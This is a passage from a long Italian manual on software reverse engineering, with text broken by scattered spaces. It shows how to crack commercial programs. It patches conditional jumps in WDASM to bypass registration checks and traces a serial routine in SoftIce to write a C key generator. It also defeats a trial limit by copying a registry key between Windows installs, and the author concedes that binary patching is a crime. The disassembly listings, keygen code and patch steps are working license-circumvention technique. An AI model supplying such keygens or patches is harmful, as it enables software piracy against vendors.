:00437143 E820CAFCFF Call 00403B68
:00437148 8BD0 mov edx, eax
:0043714A 8D4DC0 lea ecx, dword ptr [ebp-40]

Medi ant e l anal i si dei val or i punt at i dal r egi st r o EAX si not a i l val or e
i nser i t o.

[eax+00000000] - 0031 1.
[eax+00000002] - 0032 2.
[eax+00000004] - 0033 3.
[eax+00000006] - 0034 4.
[eax+00000008] - 0035 5.
[eax+0000000A] - 0036 6.
[eax+0000000C] - 0037 7.

A quest o punt o pr osegui amo i l pr ogr amma passo a passo per veder e dove avvi ene
qual che t i po di compar azi one.
Dopo qual che l i nea di codi ce che non r i por t o ci si t r ova di nanzi a :

:004371AE E8AFC9FCFF Call 00403B62
:004371B3 0FBFC0 movsx eax, ax
:004371B6 85C0 test eax, eax
:004371B8 7514 jne 004371CE
:004371BA C745FC6D000000 mov [ebp-04], 0000006D
:004371C1 BAA4314100 mov edx, 004131A4
:004371C6 8D4DC0 lea ecx, dword ptr [ebp-40]

Pr endo i l sal t o j ne 004371CE e l o modi f i co i n j e 004371CE.
WDASM possi ede l a possi bi l i t di i nser i r e pat ch al codi ce i n modo moment aneo.
I n al t r e par ol e posso, senza usci r e, i nser i r e l e i st r uzi oni modi f i cat e anche se
poi per f ar l e di vent ar e def i ni t i ve dovr modi f i car e i l pr ogr amma t r ami t e un
edi t or HEX.
Cont i nuo a esegui r e st ep by st ep i l pr ogr amma f i no a quando i l cur sor e si
posi zi ona sul l a l i nea con i l sal t o.
A quest o punt o pr emo i l pul sant e PATCH CODE.
Dopo aver r i chi est o di appl i car e l a pat ch pr oseguo passo a passo i l pr ogr amma.
I l pr ogr amma vi ene i ndi r i zzat o sul l e seguent i i st r uzi oni :

:004371CE C745FC6F000000 mov [ebp-04], 0000006F
:004371D5 8D45C0 lea eax, dword ptr [ebp-40]
:004371D8 50 push eax
:004371D9 E806F50400 call 004866E4
:004371DE 0FBFC0 movsx eax, ax
:004371E1 85C0 test eax, eax
:004371E3 0F859F010000 jne 00437388

Al l i ndi r i zzo 004371E3 esi st e un al t r o sal t o da modi f i car e.
Non r i por t o t ut t o i l codi ce per mot i vi di spazi o.
Le i st r uzi oni dopo i l sal t o speci f i cat o vi sual i zzano i l messaggi o di codi ce
er r at o per cui i l f l usso deve esser e modi f i cat o
cambi ando i l j ne.
Gi unt i sul l i st r uzi one esegui amo l a pat ch come
f at t o pr ecedent ement e.
Mandi amo i n esecuzi one con F9 i l pr ogr amma.
Come ho det t o i ni zi al ment e non i vengono
most r at i dat i r el at i vi al pr ogr amma usat o come
t ar get per cui anche nel l a f i nest r a che
r i ngr azi a per l a r egi st r azi one esegui t a ho
camuf f at o i dat i r el at i vi al pr ogr amma.

Pagina 395 di 991
ALCUNE PARTICOLARITA DI WDASM.

WDASM possi ede di ver se
pr opr i et che l o r endono
par t i col ar ment e i nt er essant e.
Nel l a f i nest r a dove sono
pr esent i i pul sant i per
esegui r e l o st ep by st ep sonbo
pr esent i dei mar cat or i che
per met t ono al pr ogr amma di
bl occar si ogni vol t a che :

1. VIENE RICHIAMATA UNA
FUNZIONE DOCUMENTATA

2. VIENE CHIAMATA UNA FUNZIONE
NON DOCUMENTATA

3. VIENE CHIAMATA UNA FUNZIONE
LOCALE

Se vengono abi l i t at i quest i
f l ags ogni vol t a che si
ver i f i cher un event o del t i po
speci f i cat o ver r aper t a una
f i nest r a i n cui vengono
most r at i t ut t i i par amet r i i n
i ngr esso al l a f unzi one.
Sempr e da quest a f i nest r a possi bi l e mandar e i n esecuzi one l a f unzi one per
pot er ver i f i car e i val or i di r i t or no.
La seguent e i mmagi ne most r a l a f i nest r a suddet t a.


Pr emendo Get API Resul t si ot t i ene l a vi st a con i val or i r est i t ui t i dal l a cal l .

Pagina 396 di 991
ESEMPIO 2 (CREAZIONE GENERATORE DI CHIAVI)

I n quest o esempi o vedr emo come ut i l i zzar e l e i nf or mazi oni der i vant i dal l e
anal i si per cr ear e un gener at or e di chi avi .
Esegui amo i l pr ogr amma e quando quest o ci chi ede i l nome e i l codi ce i nser i amo
i l nost r o nomi nat i vo e un codi ce f i t t i zi o.
Dopo aver , con Sof t I ce, pr emut o CTRL- D per at t i var l o i nser i amo un br eakpoi nt
cer cando di i nt er cet t ar e l e f unzi oni API ut i l i zzat e per l i nput di t al i dat i .
I n quest o caso l i nput avvi ene con Get Dl gI t emText A i l qual e f a i nt er r omper e i l
pr ogr amma al seguent e punt o.

:00404DB2 8D95A8FAFFFF lea edx, dword ptr [ebp+FFFFFAA8]
:00404DB8 52 push edx ; Il vostro nome
:00404DB9 E80B550000 call 0040A2C9 ; Routine di registrazione
:00404DBE 83C408 add esp, 00000008
:00404DC1 85C0 test eax, eax ; 0 se la registrazione errata
:00404DC3 7D17 jge 00404DDC ; 1 se OK.

A quest o punt o segui amo passo a passo ent r ando nel l a r out i ne r el at i va al l a
r egi st r azi one ( CALL 40A2C9)

Referenced by a CALL at Addresses:
:00404DB9 , :00407F76

:0040A2C9 55 push ebp
:0040A2CA 8BEC mov ebp, esp
:0040A2CC 81C4B0FEFFFF add esp, FFFFFEB0
:0040A2D2 53 push ebx
:0040A2D3 56 push esi
:0040A2D4 57 push edi
:0040A2D5 8B5508 mov edx, dword ptr [ebp+08]
:0040A2D8 8DB500FFFFFF lea esi, dword ptr [ebp+FFFFFF00]
:0040A2DE 33C0 xor eax, eax
:0040A2E0 EB16 jmp 0040A2F8

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A2FB(C)
|
:0040A2E2 0FBE0A movsx ecx, byte ptr [edx] ; Qui inizia
:0040A2E5 83F920 cmp ecx, 00000020 ; ECX char del nome
:0040A2E8 740D je 0040A2F7 ; eseguiamo il je
:0040A2EA 8A0A mov cl, byte ptr [edx] ; copia il nome senza spazi
:0040A2EC 880C06 mov byte ptr [esi+eax], cl
:0040A2EF 42 inc edx
:0040A2F0 40 inc eax
:0040A2F1 C6040600 mov byte ptr [esi+eax], 00
:0040A2F5 EB01 jmp 0040A2F8

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A2E8(C)
|
:0040A2F7 42 inc edx

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0040A2E0(U), :0040A2F5(U)
|
:0040A2F8 803A00 cmp byte ptr [edx], 00
:0040A2FB 75E5 jne 0040A2E2

:0040A2FD 56 push esi ; Username per upercase

* Reference To: USER32.CharUpperA, Ord:0000h
Pagina 397 di 991

:0040A2FE E80F330000 Call User!CharUpper ; Qui il nome maiuscolo
:0040A303 56 push esi

* Reference To: cw3220mt._strlen, Ord:0000h

:0040A304 E86F300000 Call 0040D378 ; Lunghezza del nome
:0040A309 59 pop ecx
:0040A30A 8BC8 mov ecx, eax ; ECX = lunghezza
:0040A30C 83F904 cmp ecx, 00000004 ; LEN=4 (DEVE)
:0040A30F 7D05 jge 0040A316
:0040A311 83C8FF or eax, FFFFFFFF
:0040A314 EB67 jmp 0040A37D

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A30F(C)
|
:0040A316 33D2 xor edx, edx
:0040A318 33C0 xor eax, eax
:0040A31A 3BC8 cmp ecx, eax
:0040A31C 7E17 jle 0040A335

Qui i ni zi a i l codi ce i mpor t ant e.

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A333(C)
|
:0040A31E 0FBE1C06 movsx ebx, byte ptr [esi+eax] ; EBX= char in user name,
; offset in EAX.
:0040A322 C1E303 shl ebx, 03 ; shl's char di 03h
:0040A325 0FBE3C06 movsx edi, byte ptr [esi+eax] ; EDI= Char in user name ,
; offset in EAX.
:0040A329 0FAFF8 imul edi, eax ; moltiplica char per offset dello user
; name
:0040A32C 03DF add ebx, edi ; Aggiunge il risultato a EBX
:0040A32E 03D3 add edx, ebx ; EDX=EDX+EBX
:0040A330 40 inc eax ; Incrementa EAX (prossimo char)
:0040A331 3BC8 cmp ecx, eax
:0040A333 7FE9 jg 0040A31E ; Se ECX<EAX termina il loop

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A31C(C)
|
:0040A335 A120674100 mov eax, dword ptr [00416720]
:0040A33A C1F803 sar eax, 03 ; Con SoftIce date '? EAX' (SN)
:0040A33D 03D0 add edx, eax ; ADD il risultato loop al SN
:0040A33F 52 push edx

* Possible StringData Ref from Data Obj ->"%lx"
|
:0040A340 685EF54000 push 0040F55E
:0040A345 8D95B0FEFFFF lea edx, dword ptr [ebp+FFFFFEB0]
:0040A34B 52 push edx

* Reference To: USER32.wsprintfA, Ord:0000h
|
:0040A34C E8E5320000 Call 0040D636 ; HEX converter
:0040A351 83C40C add esp, 0000000C
:0040A354 8D8DB0FEFFFF lea ecx, dword ptr [ebp+FFFFFEB0] ; In SI 'd ecx'
; SERIAL NUMBER
:0040A35A 51 push ecx

Pagina 398 di 991
Sal t o i l r est o del codi ce i n quant o non ci i nt er essa pi vi st o che a quest o
punt o abbi amo t ut t i i cal col i f at t i per i l SERI AL NUMBER.
A quest o punt o scr i vi amo i C l e r out i ne r i pr oducent i i cal col i .

void main(void)
{
long Key,SerialNum,EB,ED,digit;
char I,x;
char Name[50], tmp[20];
printf(Nominativo :);
gets(Name);
strupr(Name);
printf(\nSerial Number: );
gets(tmp);
SerialNum = atol(tmp);
Key=0;
x=0;
for(I=0;I!=strlen(Name);I++) {
if(Name[I]!=' ') {
eb = Name[I] << 3;
ED = Name[I];
ED = ED*x;
++x;
eb=eb+ed;
Key=Key+EB;
}
}
Key=Key+(SerialNum << 3);
printf(\nSN = %x, Key);
}


METODO STANDARD

Pr i ma di t ut t o cer chi amo di aver e una st r at egi a di def aul t da ut i l i zzar e i n ogni
caso.
Che cosa dobbi amo saper e ?
Se si t r at t a di pr ogr ammi con r out i nes di r egi st r azi one e l i mi t azi one a x gi or ni
si cur ament e dovr scr i ver si del l e i nf or mazi oni da qual che par t e.
Quest e par t i pot r ebber o esser e :

a) Dentro allo stesso eseguibile
b) In un file esterno pi o meno nascosto
c) Nel file di registro

Se i dat i sono scr i t t i i nt er nament e l o si pu veder e i n due modi e pr eci sament e
debuggando i l codi ce o f acendo una sempl i ce pr ova.
Esi st e l a possi bi l i t che
l a r out i ne usi l a dat a di
scr i t t ur a del f i l e per
ver i f i car e quant i gi or ni
st at o at t i vo.
Per pr ovar e si pu
pr ender e una ut i l i t y che
abbi a i l t ouch dent r o o si
pu scr i ver e un pi ccol o
pr ogr ammi no che con un
i nt er r upt del Dos aggi or ni
l a dat a del f i l e.
Se l a dat a 12- 12- 1999 e
i l pr ogr amma di ce Avet e
ancor a 10 gi or ni , pot et e
f ar e i l t ouch set t ando l a
Pagina 399 di 991
dat a a 11- 12- 1999 per veder e se l avver t i ment o cambi a.
E di f f i ci l e ma si par t e subi t o scar t ando l e i pot esi pi sempl i ci ( Sapet e i l
det t o che i l mi gl i or nascondi gl i o sot t o gl i occhi di t ut t i . )
Per veder e quant i f i l e sono st at i aggi unt i dopo l i nst al l azi one pot et e usar e due
ut i l i t i es.
Pr i ma di veder e quest i due pr ogr ammi apr o una par ent esi gener al e sul come,
di sponendo di due OS ( Wi n 98 e Wi n NT, Wi n 98 e Wi ndows 2000 ecc. ) possi bi l e
osser var e l e modi f i che f at t e sul r egi st r o.
Chi ar ament e l e i nst al l azi oni devono esser e f at t e i n due moment i di st ant i t r a
l or o e non i n modo consecut i vo.
Cosa si gni f i ca ?
Pot r ei i nst al l ar e un ver si one a 60 gi or ni s9ot t o Wi n 98 ed at t ender e che quest a
scada.
Successi vament e pot r ei i nst al l ar e l o st esso sof t war e sot t o Wi ndows 2000 i n modo
t al e che l e i nf or mazi oni del r egi st r o r i sul t i no nuove.
A quest o punt o l a compar azi one sar ebbe t r a i dat i del l a ver si one scadut a e
quel l i del l a nuova i nst al l azi one.
I o per sonal ment e mi accer t o del l i mpor t anza del l e i nf or mazi oni nel r egi st r o
gi ocando con l i nst al l azi one di due si st emi oper at i vi sul l a macchi na che uso.
I n pr at i ca di spongo di Wi ndows 98 e di Wi ndows 2000 per cui eseguo
l i nst al l azi one sot t o i l pr i mo e poi pr ovo anche ad at t i var e l o st esso sof t war e
da sot t o i l secondo.
Spesso i cr ack che si t r ovano i n gi r o, su Ast al avi st a ad esempi o, set t ano i dat i
di r egi st r azi one dent r o al
r egi st r o.
Quest i si vedono subi t o i n
quant o dopo aver l i sbl occat i
sot t o i l pr i mo wi ndows e dopo
che quest i f unzi onano
nor mal ment e, at t i vat i sot t o
W2000 segnal ano nuovament e i l
l i mi t e di xx gi or ni .
I n quest o caso per pr i ma cosa
cer co l e di f f er enze nel l e
voci chi ar e r el at i ve a quest i
sof t war e.
Un esempi o pr at i co l o por t o
l egat o a Xar a3D un pr ogr amma
che cr ea scr i t t e 3D.
I l pr ogr amma st at o or i gi nar i ament e i nst al l at o sot t o WI N 98 e successi vament e
r i chi amat o da Wi ndows 2000.
La pr i ma vol t a che st at o l anci at o Xar a3D si cr eat o nel r egi st r o di WI N2000
l e voci che l e hanno per messo di esser e t r at t at o come un sof t war e demo con 15
gi or ni a di sposi zi one.
I l seguent e capt ur e most r a una scher mat a di REGEDI T sot t o wi ndows 2000 nel l a
qual e sono vi si bi l i
l e voci cr eat e da
XARA3D.
Or a di sat t i vo
Wi ndows 2000 e
at t i vo Wi n 98 OS
sot t o i l qual e
st at a esegui t a

l i nst al l azi one or i gi nal e.
Gl i st essi dat i r i por t ano i seguent i val or i .
Pagina 400 di 991

Ri sul t a i mmedi at ament e evi dent e che sot t o Wi ndows 98 c una r i ga i n pi : KEY.
Vuoi mi ca che .
Pr ovo a pr ender e quel l a voce ed aggi unger l a sot t o Wi ndows 2000.
La scher mat a di
WI N2000 quel l a i n
cui una col onna
most r a i l Type del
val or e.
I n poche par ol e
t r ami t e l opzi one NEW
del menu ho i nser i t o
una DWORD ugual e a
quel l a most r at a nel l a
scher mat a di REGEDI T sot t o WI N 98.
Esi st e un qual che cosa che ho camuf f at o per r ender e i nef f i cace l a spr ot ezi one al
f i ne di non commet t er e un i l l eci t o.
I n ogni caso i l senso di t ut t o quest o er a per di r e che spesso ut i l i zzi amo
Sof i I ce, Wdasme si mi l i a per debuggar e un pr ogr amma.
Nel l i st ant e i n cui , eseguendo una r ever si ng engi neer i ng, r i usci amo a t r ovar e l e
chi avi spesso di vent a super f l uo andar e a modi f i car e i l codi ce bi nar i o.
Modi f i car e i l codi ce bi nar i o di vent a un r eat o.
Aggi unger e una chi ave i n un r egi st r o est er na non si gni f i ca t occar e i l sof t war e
( chi ss se r egge come gi ust i f i cazi one l ar r ost o puzza di br uci at o ! )
Va beh! Met t i amol a cos .
Cost a mol t o di meno come f at i ca aggi unger e nel r egi st r o una chi ave i nvece di
andar e a modi f i car e i l codi ce bi nar i o.
Ri t or ni amo al di scor so i nt er r ot t o r el at i vo ai due pr ogr ammi usat i per esegui r e
un moni t or aggi o di si st ema dur ant e l i nst al l azi one di un pr ogr amma.
REGSNAP esegue una panor ami ca al si st ema di cendovi se sono st at e f at t e aggi unt e,
cancel l azi oni o modi f i che al f i l e di r egi st r o, se st at o cambi at o CONFI G. SYS e
AUTOEXEC. BAT e se sono st at i aggi unt i , cancel l at i o modi f i cat i f i l es sot t o
\ WI NDOWS o sot t o \ WI NDOWS\ SYSTEM.
REGSNAP i nol t r e cont r ol l a WI N. I NI , SYSTEM. I NI e di ce anche se qual che f i l es . I NI
st at o cr eat o.
Nel l i mmagi ne i n al t o c l a MessageBox most r at a da RegSnap dopo aver f at t o i l
pr i mo SnapShot al si st ema i n cui sono most r at i i dat i gener al i l egat i a quest a.
Ci o pot et e veder e vi ene r i por t at o che nel r egi st r o ci sono 61. 349 chi avi ,
109. 349 val or i , i n WI N. I NI
ci sono 69 chi avi ecc.
I n pr i mi s f acci amo una
panor ami ca con REGSNAP che
ci ser vi r a saper e che cosa
avvenut o nel r egi st r o.
Quest e i nf or mazi oni sar anno
quel l e che t r ami t e quer y
esegui t e con l e f unzi oni API
RegQuer yVal ue ecc. sar anno
r i chi est e dal pr ogr amma
al l at t i vazi one.
Al cune voci , si cur ament e
anoni me, pr obabi l ment e
sar anno quel l e che
per met t ono al sof t war e di
saper e da quant i gi or ni
st at o at t i vat o.
SNAPPER un al t r o
pr ogr ammi no che esegue una
panor ami ca su t ut t i i f i l es di cendovi se dopo sono st at i aggi unt i , cancel l at i o
modi f i cat i f i l es i n t ut t e l e par t i del si st ema.
Nel l i mmagi ne a f i anco pot et e veder e che con SNAPPER possi bi l e st abi l i r e da
qual e DI R esegui r e l a panor ami ca e se si devono i ncl uder e l e sot t o di r ect or y.
Se i l di sco mol t o gr osso pu vol er ci un p di t empo per esegui r l a.
Pagina 401 di 991
Nel mi o caso per quest i t i pi di l avor i uso i l di sco C: che un uni t da 3
Gbyt es con su i sof t war e di svi l uppo l a qual e cont i ene ci r ca 6000 di r ect or i es e
80. 000 f i l es.
Per t al e di sco ci met t e ci r ca 7 mi nut i su un Pent i uma 450Mhz.
Se l a panor ami ca l a est endo a t ut t i e due i di schi sal i amo a 12 Gbyt es, 15. 000
di r ect or i es e 200. 000 f i l es con un t empo di ci r ca 20 mi nut i buoni .
Se i l t empo vi par e t r oppo pot et e sal t ar e quest a f ase che sol o un di pi i n
quant o quest a ser ve sol o nel caso i n cui si vogl i ano cont r ol l ar e t ut t e l e
di r ect or i es del si st ema, cosa si cur ament e i nut i l e, vi st o che i l pr ogr amma, se
dovesse aggi unger e f i l es, l o f ar ebbe o nel l a sua di r ect or y, o i n quel l a di
WI NDOWS o nel l a syst emdi Wi ndows.
Se scr i ve i l f i l e di cont r ol l o nel l a sua di r ect or y non pot r emmo sol o
osser vandol a capi r e qual e , e se l o f acesse nel l a wi ndows o wi ndows\ syst em ci
penser ebbe gi RegSnap.
I n ogni caso, se deci det e di usar e SNAPPER, l a pr i ma panor ami ca cr eer una
mascher a di quest o t i po nel l a qual e vengono i nser i t i i dat i di t ut t i i f i l es
t r ovat i .
Quest a mascher a quel l a che ver r usat a per esegui r e l e f unzi oni per messe da
snapper , che sono poi quel l e most r at e dai t abul at or i nel l a f i nest r a.



Medi ant e un t ask manager o medi ant e Net BusD ver i f i cat e che non vengano at t i vat i
dei pr ocessi concor r ent i , magar i nascost i .
Net BusDet ect or una pi ccol i ssi ma ut i l i t y che cont r ol l a i l si st ema ed avvi sa
t ut t e l e vol t e che un pr ocesso sconosci ut o nuovo vi ene at t i vat o.
A quest o punt o abbi amo una panor ami ca del l o st at o del nost r o si st ema pr i ma
del l i nst al l azi one.
Or a at t i vi amo i l nost r o pr ogr amma ed i mmedi at ament e dopo f aci amo f ar e una
compar azi one a REGSNAP.
I dat i r i sul t ant i possono esser e pr esent at i come f i l e . TXT o come f i l e . HTML.


Vitas' RegSnap - registry analyzing tool. (http://soft4you.com, [email protected])
>>> REGSNAP HAS NOT BEEN REGISTERED! PLEASE REGISTER!
** First snapshot **
File name : Regsnp3
Pagina 402 di 991
Snap time : 30/08/1999 23:29:22
PC/User name: FLAVIO/
Comment :

** Second snapshot **
File name : Regsnp4
Snap time : 30/08/1999 23:48:31
PC/User name: FLAVIO/
Comment :


/////////////////// Registry report
Summary info:
Deleted keys: 0
Modified keys: 11
New keys : 12


*** Modified keys
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start
Menu\&Programs\Menu\Order
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StreamMRU\19
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Streams\19\CabView
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{5E6AB780-7743-
11CF-A12B-00AA004AE837}\Count\HRZR_PGYFRFFVBA
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{75048700-EF1F-
11D0-9888-006097DEACF9}\Count\HRZR_PGYFRFFVBA
HKEY_USERS\.DEFAULT\Software\Symantec\Norton Commander\NC\settings\Dialogs\IDC_2047
HKEY_USERS\.DEFAULT\Software\Symantec\Norton Commander\NC\settings\Dialogs\IDC_2048
HKEY_USERS\.DEFAULT\Software\Symantec\Norton Commander\NC\settings\Panel0\Ascending
HKEY_USERS\.DEFAULT\Software\Symantec\Norton Commander\NC\settings\Panel0\CurrentSel
HKEY_USERS\.DEFAULT\Software\Symantec\Norton Commander\NC\settings\Panel0\ObjectName
HKEY_USERS\.DEFAULT\Software\Symantec\Norton Commander\NC\settings\Panel0\PanelSelection
--------------
Total positions: 11

*** New keys
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\WindowsSniper\@
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\WindowsSniper\Path
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\WindowsSniper\DisplayName

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\WindowsSniper\UninstallString
HKEY_LOCAL_MACHINE\Software\unHUman Software\WindowsSniper\EasterEgg1
HKEY_LOCAL_MACHINE\Software\unHUman Software\WindowsSniper\FirstRunTime
HKEY_LOCAL_MACHINE\Software\unHUman Software\WindowsSniper\Resolution
HKEY_LOCAL_MACHINE\Software\unHUman Software\WindowsSniper\ShowLicense
HKEY_LOCAL_MACHINE\Software\unHUman Software\WindowsSniper\XPosition
HKEY_LOCAL_MACHINE\Software\unHUman Software\WindowsSniper\YPosition
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start
Menu\&Programs\GkSetup\Order
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start
Menu\&Programs\OrdiTouch 1.0\Order
--------------
Total positions: 12

/////////////////// File list in C:\WINDOWS\*.*
Summary info:
Deleted files: 0
Modified files: 6
New files : 1


*** Modified files
POWERPNT.INI
SYSTEM.DAT
SYSTEM.INI
USER.DAT
WAVEMIX.INI
WIN.INI
--------------
Total positions: 6

*** New files
WindowsSniper.INI
--------------
Total positions: 1

/////////////////// File list in C:\WINDOWS\SYSTEM\*.*
Pagina 403 di 991
Summary info:
Deleted files: 0
Modified files: 0
New files : 0


/////////////////// win.ini report
Summary info:
Deleted keys: 0
Modified keys: 0
New keys : 1


*** New keys
WindowsSniper\Configuration
--------------
Total positions: 1

/////////////////// system.ini report
Summary info:
Deleted keys: 0
Modified keys: 0
New keys : 0


/////////////////// c:\autoexec.bat report
unchanged

/////////////////// c:\config.sys report
unchanged




Dal l e anal i si f at t e con REGSNAP E SNAPPER r i sul t ano un cer t o numer o di chi avi
nel r egi st r o modi f i cat e e al t r e aggi unt e nuove.
L anal i si di SNAPPER i ndi ca che i f i l es i nvece r i guar dano sol t ant o quel l i
ef f et t i vament e pr esent i nel l a di r ect or y del pr ogr amma.
RegSnap per ci most r a che nel l a di r ect or y wi ndows sono st at i modi f i cat i dei
f i l es ed st at o aggi unt o un f i l e . i ni con i l nome del pr ogr amma.
Pagina 404 di 991
Ci t engo a f ar not ar e che al cuni pr ogr ammi r el at i vi al l a gest i one del r egi st r o
non f unzi onano sot t o Wi ndows 2000 anche se di f at t o ancor a pr emat ur o par l ar e
di pr ogr ammi per quest o ambi ent e.
Guar dando l e chi avi modi f i cat e si capi sce che non cent r ano con i l pr ogr amma ma
che si cur ament e sono r el at i ve a pr ogr ammi che er ano at t i vi i n quel l i st ant e e
che hanno aggi or nat o del l e l or o i nf or mazi oni .
Nel l esempi o si vede chi ar ament e del l e modi f i che f at t e al l a voce di Symant ec/ NC
che sar ebbe Nor t on Commander , un pr ogr amma che uso r egol ar ment e al post o del
Fi l e Manager di Wi ndows.
A quest o dobbi amo sol o veder e se ci convi ene ut i l i zar e Sof t I ce o Wdasm.
Per sonal ment e quando possi bi l e usar l o pr ef er i sco WDASM i n quant o gr an par t e
del l e f unzi oni sono dent r o a f i nest r e con pul sant i ed i nol t r a di spone di un
ot t i ma gamma di i nf or mazi oni most r at e aut omat i cament e.
Car i cat o sot t o WDASM i l pr ogr amma i n quest i one ci most r a un i nf i ni t di punt i
i donei a cer car e cer t e r out i nes.
Se pr endi amo i n esame sol t ant o l e f unzi oni i mpor t at e ci accor gi amo che esi st e un
gr osso numer o di f unzi oni l egat e al l a gest i one del r egi st r o.
La seguent e i mmagi ne most r a l e i nf or mazi oni l egat e appunt o a t al e t i po di
gest i one.

ADVAPI32.RegCloseKey
ADVAPI32.RegConnectRegistryA
ADVAPI32.RegCreateKeyExA
ADVAPI32.RegDeleteKeyA
ADVAPI32.RegDeleteValueA
ADVAPI32.RegEnumKeyExA
ADVAPI32.RegEnumValueA
ADVAPI32.RegFlushKey
ADVAPI32.RegGetKeySecurity
ADVAPI32.RegLoadKeyA
ADVAPI32.RegNotifyChangeKeyValue
ADVAPI32.RegOpenKeyExA
ADVAPI32.RegQueryInfoKeyA
ADVAPI32.RegQueryValueExA
ADVAPI32.RegReplaceKeyA
ADVAPI32.RegRestoreKeyA
ADVAPI32.RegSaveKeyA

Anche r i chi edendo l a St r i ng Tabl e vengono most r at e voci che pot r ebber o esser e
ut i l i per i dent i f i car e cer t e r out i nes.

String Resource ID=00001: "You must agree to the license before you can use Windows Sni"
String Resource ID=00002: "SOFTWARE\unHUman Software\WindowsSniper"
String Resource ID=00003: "This copy of Windows Sniper has already been registered.You"
String Resource ID=00004: "The 30 day trial of Windows Sniper has expired."
String Resource ID=00005: "Windows Sniper trial expires in %d days."
String Resource ID=00006: "FATAL ERROR: System Problem."
String Resource ID=00007: "Thank you for registering Windows Sniper. You are now entit"
String Resource ID=00008: "Invalid License Information has been entered. Please try ag"
String Resource ID=00009: "The 30 day trial of Windows Sniper has expired. Windows Sni"
String Resource ID=57344: "Windows Sniper"
String Resource ID=61446: "an unnamed file"
String Resource ID=61472: "No error message is available."
String Resource ID=61473: "An unsupported operation was attempted."
String Resource ID=61474: "A required resource was unavailable."
String Resource ID=61475: "Out of memory."
String Resource ID=61476: "An unknown error has occurred."
String Resource ID=61703: "Failed to launch help."

Vi r i cor do che i n WDASM bast a f ar e CLI CK su una voce per posi zi onar si sul l a
par t e di codi ce che l a ut i l i zza.
I n quest o caso vengono most r at e anche voci di menu che pot r ebber o ai ut ar e.

Menu: MenuID_0086
Menu: MenuID_0086, Item: "License"
Pagina 405 di 991
Menu: MenuID_0086, Item: "Register"
Menu: MenuID_008B
Menu: MenuID_008B

I dat i pr ecedent i si ot t engono pr emendo i l ul sant e Menu Ref .
Un punt o buono r i mane comunque quel l o f or ni t o dal l a MessageBoxA che vi ene
ut i l i zzat o per avver t i r e che i l codi ce i nser i t o er r at o.
Vogl i o r i cor dar vi che l a di f f er enza t r a MessageBox e MessageBoxA dat a dal
f at t o che l a seconda una f unzi one a 32 bi t s.


ESEMPIO 3


Quest a vol t a pr ender emo i n esame un pr ogr amma al qual e possono esser e adot t at e
due sol uzi oni .
La pr i ma, l a pi compl essa, quel l a di t r ovar e l al gor i t mo del codi ci da
i nser i r e.
La seconda sol uzi one per met t e
devi ando i l f l usso, modi f i cando un
sol o sal t o, di r egi st r ar e i l
sof t war e i n aut omat i co.
Si car i ca i l sof t war e con WDASM e
si cer ca di i ndi vi duar e l e r out i nes
di l et t ur a del codi ce.
I n quest o caso i l pr ogr amma
scr i t t o i n C e qui ndi si cur ament e
vi ene usat a una Get Dl gI t emText A.
La r i cer ca r i sul t a subi t o f r ut t uosa
i n quant o vengono t r ovat e un cer t o
numer o di chi amat e.
Tr e i n par t i col ar e sono quel l e che
i nt er essano.
I nf at t i i l pr ogr amma r i chi ede t r e
campi .

* Reference To: USER32.GetDlgItemTextA, Ord:00F5h
|
:0040F1CE 8B2D68374300 mov ebp, dword ptr [00433768]
:0040F1D4 6A65 push 00000065
:0040F1D6 8D5E32 lea ebx, dword ptr [esi+32]
:0040F1D9 57 push edi
:0040F1DA FFD5 call ebp

Dopo quest a cal l st at o l et t o i l nome

:0040F1DC 6A32 push 00000032
:0040F1DE 53 push ebx
:0040F1DF 6A66 push 00000066
:0040F1E1 57 push edi
:0040F1E2 FFD5 call ebp

Dopo quest a i l company

:0040F1E4 8D442410 lea eax, dword ptr [esp+10]
:0040F1E8 6800010000 push 00000100
:0040F1ED 50 push eax

* Possible Ref to Menu: MenuID_03E8, Item: "Properties"
|

Pagina 406 di 991
* Possible Reference to String Resource ID=00103: "Show information about the
currently selected process"
|
:0040F1EE 6A67 push 00000067
:0040F1F0 57 push edi
:0040F1F1 FFD5 call ebp

I nf i ne quest a chi amat a l egge i l codi ce

:0040F1F3 8D442410 lea eax, dword ptr [esp+10]
:0040F1F7 50 push eax

Se cont r ol l at e eax vedr et e che cont i ene i l codi ce che avet e speci f i cat o.
A quest o punt o vi ene chi amat a l e r out i ne che esegue l a pr epar azi one del codi ce.
I n quest o esempi o non ci i nt er esser emo del l a r out i ne se non al l a f i ne per
most r ar e, o megl i o sugger i r e, un met odo per i l t r ace.

:0040F1F8 E8A3830000 call 004175A0
:0040F1FD 83C404 add esp, 00000004
:0040F200 8BE8 mov ebp, eax
:0040F202 56 push esi
:0040F203 E818710000 call 00416320
:0040F208 83C404 add esp, 00000004

I n quest o punt o avvi ene i l ver o cont r ol l o.
Per r egi st r ar e con un codi ce er r at o sar suf f i ci ent e cambi ar e i l sal t o J NE i n
J E.

:0040F20B 3D92A71901 cmp eax, 0119A792
:0040F210 7518 jne 0040F22A


Ri por t o un esempi o di r out i ne i n cui si cer ca di capi r e come st at o compost o i l
codi ce.
Non cer cat e di segui r l o vi st o che i l suo uni co scopo quel l o di dar e un i dea
sul come segnar vi i l codi ce man mano che l o segui t e.
